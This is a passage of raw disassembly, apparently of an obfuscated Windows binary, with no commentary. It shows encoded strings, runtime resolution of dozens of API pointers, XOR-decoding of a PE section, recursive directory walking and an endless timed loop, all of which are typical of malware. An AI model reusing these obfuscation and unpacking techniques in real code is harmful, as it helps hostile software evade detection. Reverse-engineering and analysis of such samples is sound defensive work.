		call	sub_43AAF7
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50C928
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43BE84
		add	esp, 158h
		jmp	short loc_43C10B
; ---------------------------------------------------------------------------


loc_43C09F:				; CODE XREF: sub_43BE84+289j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	ds:dword_447FC8
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_43C10F
		cmp	[ebp+var_112], 2Eh
		jz	short loc_43C10B
		push	offset byte_55076B
		call	sub_43AAF7
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50C928
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43BE84
		add	esp, 158h


loc_43C10B:				; CODE XREF: sub_43BE84+1C9j
					; sub_43BE84+219j ...
		or	ebx, ebx
		jnz	short loc_43C09F


loc_43C10F:				; CODE XREF: sub_43BE84+194j
					; sub_43BE84+1A8j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43BE84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C114	proc near		; CODE XREF: sub_43CDC6:loc_43CDC9p

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, dword_54F0C0
		add	eax, dword_54F18C
		sub	eax, 3
		push	eax
		mov	eax, dword_54F1E4
		sub	eax, 4
		push	eax
		push	20h
		mov	eax, dword_54F14C
		movsx	edx, word_54F0D0
		add	eax, edx
		sub	eax, 8
		push	eax
		call	ds:dword_489A00
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4CA430
		mov	eax, dword_54F214
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_8]
		mov	ebx, dword_54F17C
		add	ebx, 35h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_A]
		movsx	ebx, word_54F144
		add	ebx, 14h
		imul	ecx, ebx
		mov	ebx, dword_54F124
		add	ebx, 37h
		movsx	esi, word_54F138
		add	ebx, esi
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_E]
		mov	ebx, dword_54F178
		add	ebx, 15h
		imul	ecx, ebx
		mov	ebx, dword_54F1F4
		add	ebx, 0Fh
		imul	ecx, ebx
		mov	ebx, dword_54F214
		add	ebx, 39h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_10]
		mov	ebx, dword_54F21C
		add	ebx, 5
		add	ebx, dword_54F0A0
		imul	ecx, ebx
		mov	ebx, dword_54F184
		lea	eax, [eax+ebx+17h]
		imul	ecx, eax
		movsx	eax, word_54F210
		movsx	ebx, word_54F0F4
		lea	eax, [eax+ebx+11h]
		imul	ecx, eax
		mov	eax, dword_54F0E0
		add	eax, 35h
		movsx	ebx, word_54F194
		add	eax, ebx
		imul	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	ds:dword_446030, eax
		mov	eax, dword_54F134
		add	eax, dword_54F1A0
		sub	eax, 9
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_43DB03
		add	esp, 144h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C114	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C266	proc near		; DATA XREF: sub_441207+7o
		mov	eax, dword_54F154
		add	eax, dword_54F1E4
		sub	eax, 0Bh
		push	eax
		call	ds:dword_54C960
		retn
sub_43C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C27C	proc near		; DATA XREF: .data:0054F300o
		mov	eax, 80004001h
		retn	18h
sub_43C27C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C284	proc near		; CODE XREF: sub_44526D+171p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_54F1AC
		add	eax, dword_54F154
		sub	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_43D090
		add	esp, 8
		mov	edi, dword_54F1C8
		sub	edi, 8
		jmp	short loc_43C2D7
; ---------------------------------------------------------------------------


loc_43C2BD:				; CODE XREF: sub_43C284+59j
		cmp	[ebp+edi+var_FFF], 23h
		jnz	short loc_43C2D6
		movsx	eax, word_54F198
		dec	eax
		mov	[ebp+edi+var_FFF], al


loc_43C2D6:				; CODE XREF: sub_43C284+41j
		inc	edi


loc_43C2D7:				; CODE XREF: sub_43C284+37j
		cmp	edi, 0FFFh
		jb	short loc_43C2BD
		lea	esi, [ebp+var_FFF]


loc_43C2E5:				; CODE XREF: sub_43C284+108j
		push	offset byte_550767
		call	sub_43AAF7
		push	offset dword_447FE0
		movsx	ebx, word_54F0C4
		sub	ebx, 6
		push	ebx
		mov	ebx, dword_54F108
		movsx	edx, word_54F194
		add	ebx, edx
		sub	ebx, 9
		push	ebx
		push	eax
		movsx	ebx, word_54F0D0
		add	ebx, dword_54F24C
		sub	ebx, 0Fh
		push	ebx
		mov	ebx, dword_54F224
		add	ebx, dword_54F1D8
		sub	ebx, 5
		push	ebx
		push	esi
		push	[ebp+arg_0]
		mov	ebx, dword_54F1D0
		add	ebx, dword_54F154
		sub	ebx, 0Dh
		and	ebx, 0FFh
		push	ebx
		call	sub_440B82
		add	esp, 28h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43C35B:				; CODE XREF: sub_43C284+DCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43C35B
		movsx	edx, word_54F094
		sub	edx, 1
		mov	ebx, eax
		add	ebx, esi
		mov	esi, edx
		add	esi, ebx
		movsx	eax, byte ptr [esi]
		movsx	edx, word_54F218
		movsx	ecx, word_54F128
		add	edx, ecx
		sub	edx, 5
		cmp	eax, edx
		jnz	loc_43C2E5
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C284	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C397	proc near		; CODE XREF: sub_43B76D+277p
		push	edi
		push	offset byte_550759
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_449598
		mov	dword_54F258, eax
		mov	eax, dword_54F200
		sub	eax, 5
		cmp	dword_54F258, eax
		jnz	short loc_43C3D6
		push	offset asc_55074B ; "\n"
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_48A218
		mov	dword_54F258, eax


loc_43C3D6:				; CODE XREF: sub_43C397+26j
		push	offset byte_550741
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_4CB934, eax
		push	offset byte_550737
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_4491A4, eax
		push	offset byte_55072D
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_50C940, eax
		push	offset byte_550725
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_54E040, eax
		push	offset byte_55071D
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_4899F0, eax
		push	offset byte_550713
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_50C924, eax
		push	offset word_55070A
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_4CC8F0, eax
		push	offset dword_550700
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_4899E0, eax
		push	offset dword_5506F8
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_44701C, eax
		push	offset asc_5506ED ; "\a"
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_44603C, eax
		push	offset word_5506E2
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_50C928, eax
		push	offset word_5506D6
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_4CA21C, eax
		push	offset dword_5506CC
		call	sub_43AAF7
		push	eax
		call	sub_442923
		mov	ds:dword_4CB814, eax
		push	offset word_5506C2
		call	sub_43AAF7
		push	eax
		call	sub_442923
		add	esp, 70h
		mov	ds:dword_44602C, eax
		pop	edi
		retn
sub_43C397	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C501	proc near		; CODE XREF: sub_444250:loc_4447CAp
					; sub_444ED7+349p

var_445		= byte ptr -445h
var_341		= byte ptr -341h
var_23D		= byte ptr -23Dh
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h

		push	ebp
		mov	ebp, esp
		sub	esp, 448h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_341]
		push	eax
		mov	eax, dword_54F1AC
		add	eax, dword_54F0F0
		sub	eax, 5
		push	eax
		mov	eax, dword_54F220
		sub	eax, 2
		push	eax
		push	1Ch
		movsx	eax, word_54F0C4
		add	eax, dword_54F1C8
		sub	eax, 0Eh
		push	eax
		call	ds:dword_489A00
		lea	eax, [ebp+var_341]
		push	eax
		lea	eax, [ebp+var_445]
		push	eax
		call	ds:dword_4491A4
		push	offset asc_5506B7 ; "\a"
		call	sub_43AAF7
		push	eax
		lea	edx, [ebp+var_445]
		push	edx
		call	ds:dword_44602C
		add	esp, 14h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_445]
		push	eax
		call	ds:dword_4CA228
		mov	ebx, eax
		mov	eax, dword_54F230
		neg	eax
		cmp	ebx, eax
		jz	loc_43C64D
		lea	eax, [ebp+var_112]
		push	eax
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_440408
		add	esp, 8
		xor	esi, esi
		inc	esi


loc_43C5B2:				; CODE XREF: sub_43C501+E6j
		lea	eax, [ebp+var_13E]
		push	eax
		push	ebx
		call	ds:dword_447FC8
		mov	esi, eax
		or	esi, esi
		jnz	short loc_43C5CF
		push	ebx
		call	ds:dword_4495BC
		jmp	short loc_43C5E9
; ---------------------------------------------------------------------------


loc_43C5CF:				; CODE XREF: sub_43C501+C3j
		lea	eax, [ebp+var_112]
		push	eax
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_440408
		add	esp, 8
		or	esi, esi
		jnz	short loc_43C5B2


loc_43C5E9:				; CODE XREF: sub_43C501+CCj
		movsx	eax, word_54F1A8
		mov	edx, dword_54F174
		sub	edx, 7
		mov	ds:byte_54CB10[eax], dl
		movsx	edi, word_54F0A8
		jmp	short loc_43C645
; ---------------------------------------------------------------------------


loc_43C609:				; CODE XREF: sub_43C501+14Aj
		push	offset byte_5506AD
		call	sub_43AAF7
		push	ds:dword_4CC920[edi*4]
		push	ds:dword_48A220[edi*4]
		push	eax
		lea	edx, [ebp+var_23D]
		push	edx
		call	ds:dword_50C928
		lea	eax, [ebp+var_23D]
		push	eax
		push	offset byte_54CB10
		call	ds:dword_44602C
		add	esp, 1Ch
		inc	edi


loc_43C645:				; CODE XREF: sub_43C501+106j
		cmp	edi, dword_54F2A4
		jb	short loc_43C609


loc_43C64D:				; CODE XREF: sub_43C501+92j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C652	proc near		; DATA XREF: .data:0054F304o

var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		movsx	eax, word_54F104
		mov	edx, dword_54F110
		lea	eax, [eax+edx+0BFh]
		cmp	[ebp+arg_4], eax
		jnz	loc_43C78F
		mov	[ebp+var_18], 3
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, dword_54F2E8
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	[ebp+var_4], eax
		mov	eax, dword_54F0E4
		add	eax, dword_54F1AC
		sub	eax, 7
		cmp	[ebp+var_4], eax
		jnz	loc_43C78B
		dec	[ebp+var_10]
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, dword_54F2E8
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	[ebp+var_4], eax
		movsx	eax, word_54F0B4
		add	eax, dword_54F1F8
		sub	eax, 8
		cmp	[ebp+var_4], eax
		jnz	loc_43C78B
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_550AA8
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		mov	eax, dword_54F0F0
		sub	eax, 3
		cmp	[ebp+var_4], eax
		jnz	short loc_43C782
		lea	eax, off_54F2E4
		mov	[ebp+var_8], eax
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_5509E8
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		mov	eax, dword_54F120
		add	eax, dword_54F090
		sub	eax, 0Ch
		cmp	[ebp+var_4], eax
		jnz	short loc_43C770
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset dword_5509E8
		push	[ebp+var_24]
		push	[ebp+var_20]
		call	sub_43D748
		add	esp, 10h
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43C770:				; CODE XREF: sub_43C652+F9j
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, [ebp+var_20]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43C782:				; CODE XREF: sub_43C652+BEj
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43C78B:				; CODE XREF: sub_43C652+56j
					; sub_43C652+94j
		xor	eax, eax
		jmp	short loc_43C794
; ---------------------------------------------------------------------------


loc_43C78F:				; CODE XREF: sub_43C652+27j
		mov	eax, 80020003h


loc_43C794:				; CODE XREF: sub_43C652+13Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_43C652	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C79B	proc near		; DATA XREF: .data:0054F2B4o
		mov	eax, 80004001h
		retn	8
sub_43C79B	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C7A3	proc near		; CODE XREF: sub_43B76D+272p
		push	offset byte_550697
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_48A214, eax
		push	offset byte_550689
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4899EC, eax
		push	offset dword_55067C
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4495BC, eax
		push	offset dword_55066C
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_447FC0, eax
		push	offset byte_55065D
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_44600C, eax
		push	offset byte_550647
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4CB818, eax
		push	offset dword_550630
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_50C920, eax
		push	offset byte_550623
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4495CC, eax
		push	offset dword_55060C
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_50C934, eax
		push	offset byte_5505F7
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_54C94C, eax
		push	offset dword_5505E4
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_54DB10, eax
		push	offset byte_5505CD
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_446010, eax
		push	offset byte_5505C1
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_446034, eax
		push	offset dword_5505A8
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4CC900, eax
		push	offset byte_55059B
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4CA544, eax
		push	offset word_55058A
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_54DF28, eax
		push	offset word_550572
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_54CA78, eax
		push	offset word_55055A
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_446014, eax
		push	offset word_55054A
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4CC908, eax
		push	offset dword_550538
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4CA228, eax
		push	offset byte_55051D
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4CB944, eax
		push	offset asc_55050E ; "\v"
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_54DF2C, eax
		push	offset word_5504FA
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_446040, eax
		push	offset word_5504EA
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_48A21C, eax
		push	offset byte_5504DB
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_54DB1C, eax
		push	offset asc_5504CC ; "\v"
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4CC910, eax
		push	(offset	asc_5504BC+2)
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4CB938, eax
		push	offset byte_5504AF
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_54DB18, eax
		push	offset dword_5504A0
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4CB810, eax
		push	offset dword_55048C
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_449598, eax
		push	offset dword_55047C
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_54CA70, eax
		push	offset asc_55046B ; "\r"
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4CA430, eax
		push	offset word_55045A
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_447FC8, eax
		push	offset word_550442
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4899F8, eax
		push	offset asc_550434 ; "\n"
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_54C960, eax
		push	offset byte_550429
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_449094, eax
		push	offset dword_550418
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_446038, eax
		push	offset dword_550408
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_48A218, eax
		push	offset word_5503F6
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_54DF30, eax
		push	offset asc_5503E7 ; "\v"
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4CB948, eax
		push	offset word_5503D6
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_54C964, eax
		push	offset dword_5503C4
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4495A8, eax
		push	offset dword_5503B8
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_446000, eax
		push	offset dword_5503A8
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_446044, eax
		push	offset byte_550391
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4495B0, eax
		push	offset byte_550377
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_4CC918, eax
		push	offset word_550362
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_449088, eax
		push	offset byte_550355
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		mov	ds:dword_54DF1C, eax
		push	offset word_55033E
		call	sub_43AAF7
		push	eax
		call	sub_43D730
		add	esp, 188h
		mov	ds:dword_4899F4, eax
		retn
sub_43C7A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CBAF	proc near		; CODE XREF: sub_441843+18Bp
					; sub_441843+195p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, dword_54F0C8
		add	eax, dword_54F140
		sub	eax, 2
		push	eax
		push	dword_54F180
		push	[ebp+arg_0]
		movsx	eax, word_54F0D0
		add	eax, dword_54F23C
		sub	eax, 6
		push	eax
		mov	eax, dword_54F1B0
		sub	eax, 7
		push	eax
		call	ds:dword_54DF20
		push	eax
		call	ds:dword_4CB948
		leave
		retn
sub_43CBAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_43CBF8	proc near		; CODE XREF: sub_444ED7+34p
		push	edi
		push	offset byte_55032F
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_449598
		mov	dword_54F280, eax
		mov	eax, dword_54F1E4
		sub	eax, 4
		cmp	dword_54F280, eax
		jnz	short loc_43CC37
		push	offset dword_550320
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_48A218
		mov	dword_54F280, eax


loc_43CC37:				; CODE XREF: sub_43CBF8+26j
		push	offset word_55030A
		call	sub_43AAF7
		pop	ecx
		push	eax
		push	dword_54F280
		call	ds:dword_4491AC
		mov	ds:dword_446028, eax
		pop	edi
		retn
sub_43CBF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CC56	proc near		; CODE XREF: sub_444ED7+2D3p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		mov	esi, [eax+3Ch]
		mov	ecx, esi
		add	ecx, eax
		mov	eax, [ecx+28h]
		mov	edx, [ebp+arg_0]
		lea	esi, [eax+edx+0Dh]
		movzx	eax, byte ptr [esi+1]
		mov	edx, dword_54F134
		add	edx, 1FEh
		mov	ebx, eax
		imul	ebx, edx
		movzx	eax, byte ptr [esi]
		xor	eax, 4Dh
		mov	[ebp+var_1], al
		mov	ecx, dword_54F150
		sub	ecx, 2
		jmp	short loc_43CCA7
; ---------------------------------------------------------------------------


loc_43CC99:				; CODE XREF: sub_43CC56+53j
		movzx	eax, byte ptr [esi+ecx]
		movzx	edx, [ebp+var_1]
		xor	eax, edx
		mov	[esi+ecx], al
		inc	ecx


loc_43CCA7:				; CODE XREF: sub_43CC56+41j
		cmp	ecx, ebx
		jb	short loc_43CC99
		mov	eax, [ebp+arg_4]
		mov	[eax], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_43CC56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CCB6	proc near		; CODE XREF: sub_441843+43p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		mov	edi, [ebp+arg_0]
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_4495B0
		movsx	eax, word_54F128
		mov	edx, dword_54F178
		add	edx, dword_54F0B0
		sub	edx, 0Eh
		mov	byte ptr [ebp+eax+var_10C+2], dl
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_4CC900
		push	offset word_550302
		call	sub_43AAF7
		push	[ebp+var_10C]
		push	eax
		push	edi
		call	ds:dword_50C928
		add	esp, 10h
		movsx	eax, word_54F240
		sub	eax, 8
		mov	[ebp+var_4], eax
		jmp	short loc_43CD7F
; ---------------------------------------------------------------------------


loc_43CD50:				; CODE XREF: sub_43CCB6+D4j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 41h
		jl	short loc_43CD66
		cmp	al, 5Ah
		jg	short loc_43CD66
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	20h


loc_43CD66:				; CODE XREF: sub_43CCB6+A2j
					; sub_43CCB6+A6j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 30h
		jl	short loc_43CD7C
		cmp	al, 39h
		jg	short loc_43CD7C
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	31h


loc_43CD7C:				; CODE XREF: sub_43CCB6+B8j
					; sub_43CCB6+BCj
		inc	[ebp+var_4]


loc_43CD7F:				; CODE XREF: sub_43CCB6+98j
		mov	eax, dword_54F170
		add	eax, 4
		cmp	[ebp+var_4], eax
		jb	short loc_43CD50
		pop	edi
		leave
		retn
sub_43CCB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CD8F	proc near		; CODE XREF: sub_43F052+3DAp
					; sub_43F052+438p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, esi
		xor	eax, [ebp+arg_8]
		xor	eax, [ebp+arg_C]
		mov	edx, edi
		add	edx, eax
		mov	eax, edx
		add	eax, [ebp+arg_10]
		mov	edi, eax
		add	edi, [ebp+arg_18]
		push	[ebp+arg_14]
		push	edi
		call	sub_43D3EA
		add	esp, 8
		mov	edi, eax
		add	edi, esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_43CD8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43CDC6	proc near		; DATA XREF: sub_441843+186o
		push	ebp
		mov	ebp, esp


loc_43CDC9:				; CODE XREF: sub_43CDC6+2Dj
		call	sub_43C114
		mov	eax, dword_54F1A0
		add	eax, dword_54F0E8
		sub	eax, 7
		mov	edx, dword_54F140
		add	edx, 0EA5Fh
		imul	eax, edx
		push	eax
		call	ds:dword_50C924
		pop	ecx
		jmp	short loc_43CDC9
sub_43CDC6	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CDF9	proc near		; CODE XREF: sub_44050C+144p
					; sub_441843+108p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, dword_54F248
		mov	esi, eax
		add	esi, dword_54F188
		sub	esi, 9
		jmp	short loc_43CE49
; ---------------------------------------------------------------------------


loc_43CE14:				; CODE XREF: sub_43CDF9+53j
		call	ds:dword_54E040
		mov	edi, dword_54F1A0
		add	edi, 53h
		movsx	edx, word_54F1A4
		add	edi, edx
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		add	edi, eax
		mov	edx, edi
		mov	[ebx+esi], dl
		inc	esi


loc_43CE49:				; CODE XREF: sub_43CDF9+19j
		cmp	esi, [ebp+arg_4]
		jl	short loc_43CE14
		mov	eax, [ebp+arg_4]
		mov	edx, dword_54F230
		add	edx, dword_54F0EC
		sub	edx, 2
		mov	[ebx+eax], dl
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_43CDF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CE6A	proc near		; DATA XREF: sub_444ED7+1A5o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4495C8
		pop	edi
		pop	ebp
		retn	10h
sub_43CE6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


